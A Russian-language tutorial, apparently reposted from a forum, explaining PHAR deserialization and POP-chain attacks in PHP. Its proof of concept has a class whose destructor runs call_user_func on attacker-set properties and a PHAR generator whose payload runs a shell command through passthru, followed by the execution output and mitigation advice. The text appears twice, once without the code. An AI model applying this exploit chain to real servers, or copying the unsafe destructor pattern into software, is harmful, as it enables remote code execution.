Уязвимости десериализации уже более десяти лет являются предметом интереса для исследовательского сообщества. Каждый год появляются новые цепочки атак, использующие эти уязвимости в таких языках программирования, как Java, C# (через .NET Framework).
На Blackhat US-18 Сэм Томас представил
Этот новый тип атаки использует тот факт, что использование потоковой обертки phar:// для выполнения операций чтения/записи над файлами PHAR определяет их метаданные для автоматической десериализации.
Отсюда он открывает ворота для POP-атак (Property Oriented Programming), где злоумышленник изменяет свойства объектов, чтобы перехватить логический поток приложения, что в конечном итоге приводит к выполнению кода на хост-сервере.
I. Основные понятия для понимания десериализации PHAR
phar://Stream Wrapper
В PHP все файловые операции обрабатываются с использованием потоков.
Разработчики PHP используют оболочки, когда их приложение запрашивает определенные ресурсы, такие как изображение или документ.
Примеры потоковых упаковщиков: http://, ftp://, file://, php://, phar://.
Чтобы лучше понять обертки потока, рассмотрите эти строки:
file_get_contents("
file_get_contents("file://../images/image.jpeg")
file_get_contents("phar://./archives/app.phar")
Используя обертки, вы можете вызывать ту же функцию (file_get_contents) для извлечения изображения из удаленного местоположения или из папки, хранящейся на локальном диске.
В частности, оболочка phar:// используется для взаимодействия с файлами PHAR. Он позволяет выполнять различные операции чтения/записи в архиве и может работать только с локальными файлами.
Если вы хотите копать глубже, вот
ФАР архивы
Подобно Java Archive файлов (JAR), в PHP можно разделить библиотеку или все приложение в виде одного файла с использованием ФАР .
Действительный PHAR включает в себя четыре элемента :
PHP предоставляет
Вот как вы можете создать определенный элемент архива, используя метод класса. (Обязательно следите за кодом Proof-of-Concept, который создает абсолютно корректные файлы PHAR!)
II. Элементы архива PHAR
1. Заглушка является первой частью архива. Это простая программа PHP, и она может содержать любой код, который вы хотите. Единственное требование состоит в том, чтобы последняя команда, введенная в заглушку, была __HALT_COMPILER () :
<?php echo ‘STUB!’; __HALT_COMPILER(); ?>
Метод установки заглушки:
PHAR: : setStub (string $stub)
2. Манифест - это место, где находятся метаданные. Он включает в себя информацию об архиве и каждом файле в нем. Что еще более важно, метаданные хранятся в
Помните, что ключевым фактором в этой атаке является то, что всякий раз, когда файловая операция происходит на PHAR с использованием оболочки phar : // , эти метаданные автоматически десериализуются.
Например, десериализовать метаданные архива app.phar .file_get_contents ('phar://./archives/app.phar')
Чтобы добавить метаданные в архив, используйте:
PHAR: : setMetadata (mixed $metadata)
3. Содержимое файла - это фактические файлы, включенные в архив, и они могут быть любого типа. Чтобы добавить файлы в архив, используйте:
//adds the file specified by $path to the archive as $name
PHAR: : addFile (string $path, $name)
//adds $contents to the archive as $name
PHAR: : addFromString (string $name, string $contents)
4. Подпись является хэшем содержимого архива. У вас должна быть действительная подпись, если вы хотите получить доступ к архиву из PHP. Подпись автоматически добавляется при программном создании PHAR.
III. Как работают POP-атаки
Если архив PHAR находится под контролем злоумышленника, это является основой для POP-атаки.
Давайте посмотрим на основы этой техники атаки. (Для подробного ознакомления посмотрите
Злоумышленник может добавить объект из любого класса в метаданные PHAR с любыми значениями, установленными для его свойств. Когда файловая операция запускается внутри целевого приложения, происходит десериализация PHAR.
Если объект, определенный в метаданных, принадлежит классу, определенному в области действия текущей программы, этот объект будет загружен в контексте этой программы.
В PHP есть класс методов, называемых магическими методами , которые автоматически вызываются при возникновении определенного события. В данном примере, только два магические метода представляют интерес: когда объект должен быть сериализирован или уничтожен и которые называются. __wakeup() __destruct()
Давайте сосредоточимся на методе, так как он более вероятно будет определен в некотором классе целевого приложения. __destruct()
Таким образом, к настоящему моменту у вас есть объект, которым вы управляете, загруженный в области приложения, и известный вам метод будет вызываться - либо когда объект больше не находится в области действия, либо когда сценарий завершается.
Есть случаи, когда программная логика деструктора основана на значениях некоторых свойств объекта. Учитывая, что вы управляете этими свойствами, вы можете захватить поток логики .
Вот пример потока, который поможет вам увидеть, как выглядит атака:
Подтверждение концепции использования уязвимости десериализации PHAR
Давайте посмотрим на базовый пример кода, который иллюстрирует поведение, описанное до сих пор.
Нашим фиктивным приложением будет веб-редактор текста.
Любой пользователь может добавить несколько документов, и у него есть хранилище мультимедиа, куда они добавляют мультимедиа, которое они могут позже встраивать в любой документ. Документы можно экспортировать в формате PDF.
Предположим, что класс, который генерирует PDF-файлы, вызывается и имеет следующий деструкторDFGenerator.php
Этот класс позже включается в основной файл. Editor.php
Запустив тест с файлом, который не существует, обратите внимание, что мы ожидаем, что поведение будет таким:
Теперь давайте создадим архив PHAR, используя методы, которые мы использовали. Его метаданные будут объектом класса PDFGenerator .
Создайте новый файл с именем phar_gen.phpс помощью следующего кода:
Теперь, чтобы получить PHAR, запустите:
$ php phar_gen.php
Будет создан следующий файл, содержащий сериализованные метаданные:poc.phar
Запуск Editor.php снова против вновь созданного файла, вы увидите метаданные сериализации и полезная нагрузка запускается на выполнение: poc.phar
$ php Editor.php phar://poc.phar
$ cat pwned
Linux Kali1 4.19.0-kali5-amd64 #1 SMP Debian 4.19.37-2kali1 (2019-05-15) x86_64 GNU/Linux
Представьте, что это загружается через веб-интерфейс, где имя файла, которое выбрал пользователь, именно то, что будет передано в файловую операцию. Используя этот путь атаки, у злоумышленника теперь есть потенциальный способ добиться выполнения кода на сервере.
Возможно, вы думаете, что вы защищены, поскольку злоумышленник не может узнать имя или реализацию ваших классов.
Вы частично правы.
Имейте в виду, что приложение может использовать сторонние библиотеки с открытым исходным кодом или фреймворки.
Более того, с появлением автозагрузчиков в PHP поверхность атаки увеличилась. Автозагрузчики предоставляют всем доступ к большому количеству классов, увеличивая вероятность нахождения пригодной для использования реализации магического метода.
PHPGGC проекта предусматривает перечень таких эксплуатируемых классов. Некоторые из наиболее известных примеров включают Zend, Guzzle, Symfony и Laravel.
Ключевое смягчение, чтобы избежать уязвимости десериализации PHAR
Несмотря на то, что эта атака знакома сообществу безопасности, она все еще находится в центре внимания большинства веб-разработчиков и, таким образом, представляет собой риск.
Первое и самое важное, что нужно предпринять разработчикам контрмер, это тщательно санировать вводимые пользователем данные . В этом случае тщательно проверьте, какие типы файлов могут быть загружены пользователями, а также примените некоторую рандомизацию к именам файлов при сохранении на стороне сервера.
Десериализация PHAR предоставляет злоумышленникам новую технику для использования веб-приложений. Бизнес-риск высок, потому что успешная эксплуатация может привести к выполнению кода на сервере. Как только злоумышленник закрепится на вашем сервере, его воображение является единственным ограничением.
Используя эту технику атаки, исследователи обнаружили уязвимости удаленного выполнения кода в:
Источник:
На Blackhat US-18 Сэм Томас представил
Ссылка скрыта от гостей
.Этот новый тип атаки использует тот факт, что использование потоковой обертки phar:// для выполнения операций чтения/записи над файлами PHAR определяет их метаданные для автоматической десериализации.
Отсюда он открывает ворота для POP-атак (Property Oriented Programming), где злоумышленник изменяет свойства объектов, чтобы перехватить логический поток приложения, что в конечном итоге приводит к выполнению кода на хост-сервере.
I. Основные понятия для понимания десериализации PHAR
phar://Stream Wrapper
В PHP все файловые операции обрабатываются с использованием потоков.
Ссылка скрыта от гостей
является объектом ресурса , который демонстрирует потоковое поведение. То есть он может быть прочитан или записан линейным способом.Разработчики PHP используют оболочки, когда их приложение запрашивает определенные ресурсы, такие как изображение или документ.
Примеры потоковых упаковщиков: http://, ftp://, file://, php://, phar://.
Чтобы лучше понять обертки потока, рассмотрите эти строки:
file_get_contents("
Ссылка скрыта от гостей
")file_get_contents("file://../images/image.jpeg")
file_get_contents("phar://./archives/app.phar")
Используя обертки, вы можете вызывать ту же функцию (file_get_contents) для извлечения изображения из удаленного местоположения или из папки, хранящейся на локальном диске.
В частности, оболочка phar:// используется для взаимодействия с файлами PHAR. Он позволяет выполнять различные операции чтения/записи в архиве и может работать только с локальными файлами.
Если вы хотите копать глубже, вот
Ссылка скрыта от гостей
.ФАР архивы
Подобно Java Archive файлов (JAR), в PHP можно разделить библиотеку или все приложение в виде одного файла с использованием ФАР .
Действительный PHAR включает в себя четыре элемента :
- Stub
- Manifest
- File Contents
- Signature
PHP предоставляет
Ссылка скрыта от гостей
для создания этих архивов.Вот как вы можете создать определенный элемент архива, используя метод класса. (Обязательно следите за кодом Proof-of-Concept, который создает абсолютно корректные файлы PHAR!)
II. Элементы архива PHAR
1. Заглушка является первой частью архива. Это простая программа PHP, и она может содержать любой код, который вы хотите. Единственное требование состоит в том, чтобы последняя команда, введенная в заглушку, была __HALT_COMPILER () :
<?php echo ‘STUB!’; __HALT_COMPILER(); ?>
Метод установки заглушки:
PHAR: : setStub (string $stub)
2. Манифест - это место, где находятся метаданные. Он включает в себя информацию об архиве и каждом файле в нем. Что еще более важно, метаданные хранятся в
Ссылка скрыта от гостей
. Помните, что ключевым фактором в этой атаке является то, что всякий раз, когда файловая операция происходит на PHAR с использованием оболочки phar : // , эти метаданные автоматически десериализуются.
Например, десериализовать метаданные архива app.phar .file_get_contents ('phar://./archives/app.phar')
Чтобы добавить метаданные в архив, используйте:
PHAR: : setMetadata (mixed $metadata)
3. Содержимое файла - это фактические файлы, включенные в архив, и они могут быть любого типа. Чтобы добавить файлы в архив, используйте:
//adds the file specified by $path to the archive as $name
PHAR: : addFile (string $path, $name)
//adds $contents to the archive as $name
PHAR: : addFromString (string $name, string $contents)
4. Подпись является хэшем содержимого архива. У вас должна быть действительная подпись, если вы хотите получить доступ к архиву из PHP. Подпись автоматически добавляется при программном создании PHAR.
III. Как работают POP-атаки
Если архив PHAR находится под контролем злоумышленника, это является основой для POP-атаки.
Давайте посмотрим на основы этой техники атаки. (Для подробного ознакомления посмотрите
Ссылка скрыта от гостей
)Злоумышленник может добавить объект из любого класса в метаданные PHAR с любыми значениями, установленными для его свойств. Когда файловая операция запускается внутри целевого приложения, происходит десериализация PHAR.
Если объект, определенный в метаданных, принадлежит классу, определенному в области действия текущей программы, этот объект будет загружен в контексте этой программы.
В PHP есть класс методов, называемых магическими методами , которые автоматически вызываются при возникновении определенного события. В данном примере, только два магические метода представляют интерес: когда объект должен быть сериализирован или уничтожен и которые называются. __wakeup() __destruct()
Давайте сосредоточимся на методе, так как он более вероятно будет определен в некотором классе целевого приложения. __destruct()
Таким образом, к настоящему моменту у вас есть объект, которым вы управляете, загруженный в области приложения, и известный вам метод будет вызываться - либо когда объект больше не находится в области действия, либо когда сценарий завершается.
Есть случаи, когда программная логика деструктора основана на значениях некоторых свойств объекта. Учитывая, что вы управляете этими свойствами, вы можете захватить поток логики .
Вот пример потока, который поможет вам увидеть, как выглядит атака:
Подтверждение концепции использования уязвимости десериализации PHAR
Давайте посмотрим на базовый пример кода, который иллюстрирует поведение, описанное до сих пор.
Нашим фиктивным приложением будет веб-редактор текста.
Любой пользователь может добавить несколько документов, и у него есть хранилище мультимедиа, куда они добавляют мультимедиа, которое они могут позже встраивать в любой документ. Документы можно экспортировать в формате PDF.
Предположим, что класс, который генерирует PDF-файлы, вызывается и имеет следующий деструкторDFGenerator.php
PHP:
<?php
class PDFGenerator {
// a generic PDF Generator
public $fileName;
public $callback;
// callback is a function that triggers an action when a PDF is generated
// e.g: send an email, log the PDF file name to history, sync with Dropbox
function __destruct() {
call_user_func($this->callback, $this->fileName);
}
}
?>
Этот класс позже включается в основной файл. Editor.php
PHP:
<?php
include 'PDFGenerator.php';
class Editor {
public function __construct(){
global $argv;
$this->image = @file_get_contents ($argv[1]);
// $argv[1] - is there so you can run all this code locally // Think of it as the file name of the image you want to add to the document
if ($this->image) {
echo "File found! \n";
}
else {
echo "File not found! \n";
}
} }
$obj = new Editor();
?>
Запустив тест с файлом, который не существует, обратите внимание, что мы ожидаем, что поведение будет таким:
Теперь давайте создадим архив PHAR, используя методы, которые мы использовали. Его метаданные будут объектом класса PDFGenerator .
Создайте новый файл с именем phar_gen.phpс помощью следующего кода:
PHP:
<?php
class PDFGenerator { }
//Create a new instance of the Dummy class and modify its property
$dummy = new PDFGenerator();
$dummy->callback = "passthru";
$dummy->fileName = "uname -a > pwned"; //our payload
// Delete any existing PHAR archive with that name
@unlink("poc.phar");
// Create a new archive
$poc = new Phar("poc.phar");
// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();
// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
/* Add a new file in the archive with "text" as its content*/
$poc["file"] = "text";
// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);
// Stop buffering and write changes to disk
$poc->stopBuffering();
?>
Теперь, чтобы получить PHAR, запустите:
$ php phar_gen.php
Будет создан следующий файл, содержащий сериализованные метаданные:poc.phar
Запуск Editor.php снова против вновь созданного файла, вы увидите метаданные сериализации и полезная нагрузка запускается на выполнение: poc.phar
$ php Editor.php phar://poc.phar
$ cat pwned
Linux Kali1 4.19.0-kali5-amd64 #1 SMP Debian 4.19.37-2kali1 (2019-05-15) x86_64 GNU/Linux
Представьте, что это загружается через веб-интерфейс, где имя файла, которое выбрал пользователь, именно то, что будет передано в файловую операцию. Используя этот путь атаки, у злоумышленника теперь есть потенциальный способ добиться выполнения кода на сервере.
Возможно, вы думаете, что вы защищены, поскольку злоумышленник не может узнать имя или реализацию ваших классов.
Вы частично правы.
Имейте в виду, что приложение может использовать сторонние библиотеки с открытым исходным кодом или фреймворки.
Более того, с появлением автозагрузчиков в PHP поверхность атаки увеличилась. Автозагрузчики предоставляют всем доступ к большому количеству классов, увеличивая вероятность нахождения пригодной для использования реализации магического метода.
PHPGGC проекта предусматривает перечень таких эксплуатируемых классов. Некоторые из наиболее известных примеров включают Zend, Guzzle, Symfony и Laravel.
Ключевое смягчение, чтобы избежать уязвимости десериализации PHAR
Несмотря на то, что эта атака знакома сообществу безопасности, она все еще находится в центре внимания большинства веб-разработчиков и, таким образом, представляет собой риск.
Первое и самое важное, что нужно предпринять разработчикам контрмер, это тщательно санировать вводимые пользователем данные . В этом случае тщательно проверьте, какие типы файлов могут быть загружены пользователями, а также примените некоторую рандомизацию к именам файлов при сохранении на стороне сервера.
Десериализация PHAR предоставляет злоумышленникам новую технику для использования веб-приложений. Бизнес-риск высок, потому что успешная эксплуатация может привести к выполнению кода на сервере. Как только злоумышленник закрепится на вашем сервере, его воображение является единственным ограничением.
Используя эту технику атаки, исследователи обнаружили уязвимости удаленного выполнения кода в:
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей.
Источник:
Ссылка скрыта от гостей